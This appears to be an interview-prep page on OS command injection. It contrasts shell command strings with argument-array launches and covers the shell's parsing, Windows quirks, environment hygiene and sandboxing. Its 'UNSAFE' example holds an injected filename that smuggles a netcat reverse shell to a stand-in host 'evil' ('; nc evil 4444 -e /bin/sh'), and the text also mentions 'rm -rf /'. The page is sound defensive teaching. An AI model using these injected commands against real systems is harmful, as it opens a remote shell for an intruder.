skip to content

questions

5

What is the practical difference between launching an external program by handing the operating system a single command-line string versus an explicit list of arguments, and why does the second remove a whole bug class rather than reducing it?

level: juniorimportance: must knowfreq 58%

answer

  1. kernel exec takes (path, argv[], envp[]) — no lexer
  2. command string ⇒ a shell starts ⇒ parsing happens
  3. lose pipes/redirect/glob: reimplement in-process
  4. Windows: one command-line string; callee re-splits it
  5. absolute program path + explicitly built environment

basics

~20 s

A command string is parsed by a shell, so user bytes can become syntax. An argument list is handed to the process-creation call as an array — no parsing step exists, so a value containing ; rm -rf / is just an odd argument. You lose pipes, redirection and globbing, and must do them yourself.

solid answer

~60 s

On Unix-like systems the process-creation primitive takes a program path plus an **array** of arguments and an environment. There is no lexer in that path: whatever bytes are in element two arrive at the child as element two. A "run this command line" API is different in kind — it starts a **shell**, which performs expansion, command substitution, word splitting, globbing, redirection and command chaining on your string first. That is the parsing step where user data becomes structure, and passing an array deletes it rather than filtering it. What you give up is everything the shell was doing for you: pipes, `>` redirection, `*` globbing, `~` and variable expansion, and `&&` chaining. Re-implement those in your own process — open the files and wire the descriptors, list the directory yourself, run the two programs and connect them. Caveats worth naming: on Windows the underlying call takes a *single* command-line string, so the callee reconstructs its own argument array and the abstraction is rebuilt on top of a string; and some runtimes silently fall back to a shell when handed a string, or when the target is a script without a usable interpreter line.

code

text · 14 lines
text
UNSAFE
  run("gzip " + name)              # a shell parses this line
  name = "f.txt; nc evil 4444 -e /bin/sh"
  shell sees:  gzip f.txt ; nc evil 4444 -e /bin/sh

SAFE (POSIX)
  exec("/usr/bin/gzip", ["gzip", "--", "./" + name], env={PATH:"/usr/bin"})
  argv[2] is the literal bytes "./f.txt; nc evil 4444 -e /bin/sh"
  -> gzip reports: no such file

NEEDED A PIPE?
  r, w = make_pipe()
  exec(progA, [...], stdout=w)
  exec(progB, [...], stdin=r)      # you own the wiring, not a shell

go deeper

for a junior

Say that a command string is parsed by a shell while an argument list is passed straight through, and give the one-line example of a semicolon in a filename being harmless in the second form.

for a middle

Explain the kernel-level reason there is no parsing step, list what the shell was providing and how to replace each piece, and mention that some APIs silently use a shell.

for a senior

Bring in the Windows divergence, script-interpreter fallbacks, absolute program paths and a constructed environment, and position the array launch as the structural rung.

for a principal

Talk about making the safe path the only reachable one — a single audited launch wrapper, a lint rule banning string-form APIs, and an inventory of shells embedded in configuration and tooling.

## What the operating system actually offers On Unix-like systems the primitive for replacing a process image takes three things: the path to an executable, an **array of argument strings**, and an array of environment strings. The kernel does not tokenize, does not split on spaces, does not expand `*`, and has never heard of `;`. Element *n* of the array you supply becomes element *n* of the child's argument array, byte for byte, including spaces, quotes, semicolons and newlines. That is the whole reason the array form is a *guarantee* and not a mitigation: there is no parsing stage in which a byte of your data could be promoted to syntax, so the failure mode does not exist rather than being made unlikely. ## What a command string does instead A "run this command line" API does not talk to the kernel with your string. It starts a shell and gives the string to the shell as a program to interpret. The shell then performs, in order, roughly: brace and tilde expansion, parameter and variable expansion, command substitution, arithmetic expansion, word splitting on the field-separator variable, pathname expansion (globbing), quote removal, and redirection setup — after having already split the line into a list of pipelines separated by `;`, `&&`, `||`, `&` or newlines. Every one of those steps is an opportunity for a byte that came from a user to change what runs. And several bite even without an obvious metacharacter: an unquoted value containing a space becomes two arguments; a value containing `*` becomes a directory listing; a value containing `~` becomes a home directory. ## What you lose, and how to get it back The shell was doing real work. Without it: - **Pipes**: launch both programs yourself and connect the first one's output descriptor to the second one's input descriptor. - **Redirection**: open the file in your own process with the flags and permissions you intend, and pass the descriptor to the child. - **Globbing**: list the directory with a directory API and match names yourself — which is also safer, because you control whether hidden files, symlinks or names starting with a dash are included. - **Variable expansion**: build the value in your own code and pass it as an argument or in the child's environment. - **Chaining and conditionals**: run the programs in sequence in your own code and branch on exit status, which gives you better error handling anyway. Re-implementing these is usually a few lines, and each one moves a decision from a text-parsing layer into typed code. ## Three places the guarantee weakens, and they diverge This is where the interesting divergence lies, and a strong answer names it. **1. Unix-like: the array is real.** The kernel receives an array; the child receives that array. The only structure left is the child's own interpretation of it, which is a separate concern. **2. Windows: the array is a fiction rebuilt from a string.** The process-creation call takes a *single command-line string*. Whatever "argument list" API your runtime exposes serialises your array into that string using some quoting convention, and the child then splits it back apart using *its own* convention — commonly the C runtime's rules, but a given program is free to parse the raw command line however it likes. Two consequences: your runtime's quoting helper and the callee's parser can disagree, and any target that is a batch script is executed through the command interpreter, whose parsing rules are different again — it has its own escape character and expands environment references at parse time, with a second, later expansion mode that re-parses after substitution. So on Windows an "argument vector" is a convention layered over a string, and its safety depends on both sides agreeing. **3. The runtime's own fallback behaviour.** Several mainstream launch APIs accept either a string or an array and *silently use a shell* for the string form; some expose an explicit "use a shell" flag that defaults on in one overload and off in another; and executing a script file whose interpreter line is missing or invalid has historically fallen back to a shell. The lesson is to know exactly which form your call is using, and to ban the string-accepting form in review or lint rather than trusting each call site. ## The environment is a second channel Even a perfect array launch inherits an environment. The child's behaviour can be steered through it: the search path used to resolve a bare program name, the field-separator variable read by any shell script the child runs, dynamic-loader variables that preload code, locale and temporary-directory variables. Two habits follow: resolve the executable with an absolute path from code rather than relying on a search path, and pass a small, explicitly constructed environment rather than inheriting whatever the parent happened to have — especially in a process whose environment holds credentials. ## Where this sits on the ladder The array launch is **structural separation** — the top rung, a guarantee, because it removes the interpreter rather than constraining what is fed to it. Everything below is weaker by construction: escaping means modelling a lexer, validation means guessing at inputs, detection means finding out afterwards. The one thing structural separation here does *not* cover is the callee's own reading of its arguments, which needs a closed-world control of its own.

  • Your code needs to write the program's output to a file chosen by the user. How do you do that without a shell?
    Open the file yourself in your own process — after resolving and checking the path against the directory you intend — and pass the resulting descriptor to the child as its standard output. You then control the open flags, whether an existing file is truncated or the write must create a new file, the permissions, and whether symlinks are followed. Shell redirection gives you none of those choices and takes the destination from a parsed string.
  • Does using an argument list on Windows give the same guarantee as on Unix?
    Not quite. The Windows process-creation call takes a single command-line string, so a runtime's argument-list API serialises your array into that string and the child reconstructs an array from it using its own parsing rules — usually the C runtime's, but each program may differ. That means the safety depends on the two sides agreeing on quoting, and a target that is a batch file is run through the command interpreter with different rules again. Prefer APIs that are explicit about the target and avoid invoking scripts with user-influenced arguments.
  • Why resolve the executable by absolute path and construct the environment explicitly?
    A bare program name is resolved through a search path, so anyone who can influence that variable — or drop a file into an early directory on it — chooses which binary runs. Inheriting the whole environment also hands the child variables that change loader behaviour, field splitting for any shell script it runs, and temporary-file locations, and it leaks any credentials the parent holds. Pass an absolute path and a minimal, code-built environment.

saying these in an interview costs you the question

  • Believing an argument array is merely "safer" rather than removing the parsing step entirely.
  • Adding quotes around the interpolated value in a command string and calling that equivalent.
  • Not knowing that a particular launch API spawns a shell when handed a string.
  • Assuming a value with no shell metacharacters is safe when word splitting, globbing and a leading dash still apply.
  • Passing the parent's full environment, including credentials and a mutable search path, to the child.

context

open as a page

OS command injection is usually taught as "strip out semicolons and pipes." Give the definition of the defect that also explains how a program can be exploited when no shell is involved and no metacharacter is accepted, and state the invariant the calling code must hold.

level: middleimportance: must knowfreq 65%

basics

~20 s

The defect is untrusted data deciding structure at an interpreter boundary. There are two here: the shell that parses a string into a command list, and the invoked program's own option parser reading its arguments. Removing the shell closes only the first.

open as a page

A service starts external operating-system programs at several dozen call sites, and at one of them an attacker can influence what gets launched. Concretely, what does the attacker gain? And why is a call site that returns nothing to the caller no safer than one that prints the program's output?

level: seniorimportance: must knowfreq 45%

basics

~20 s

They gain arbitrary execution as the launching process's own principal: its identity, its environment secrets, its files, its network position and any credential-issuing endpoint it can reach. A silent site is still exploitable — timing and outbound DNS or HTTP lookups confirm execution and carry data out.

open as a page

Sometimes you genuinely must interpolate a value into a command line that a shell will parse. Explain why quoting and escaping is a structurally weaker defence here, and what exactly you have to model to get it right.

level: seniorimportance: should knowfreq 40%

basics

~20 s

Escaping means reimplementing a specific shell's lexer. Shells diverge on which quoting context suppresses what, on escape characters, and on how many times a string is parsed — so the escape is only correct for the exact interpreter you actually invoke, which you often do not control.

open as a page

A product feature genuinely requires running commands or programs that users supply — a build runner, a plugin hook, a conversion pipeline fed by user files. You cannot allow-list the command. How do you build this safely?

level: principalimportance: nice to knowfreq 30%

basics

~20 s

Stop trying to make the input safe and relocate the trust boundary: execution happens inside a disposable, unprivileged, isolated environment with no ambient credentials, no default egress and hard resource limits. Everything it produces — output, logs, filenames — is then untrusted input to you.

open as a page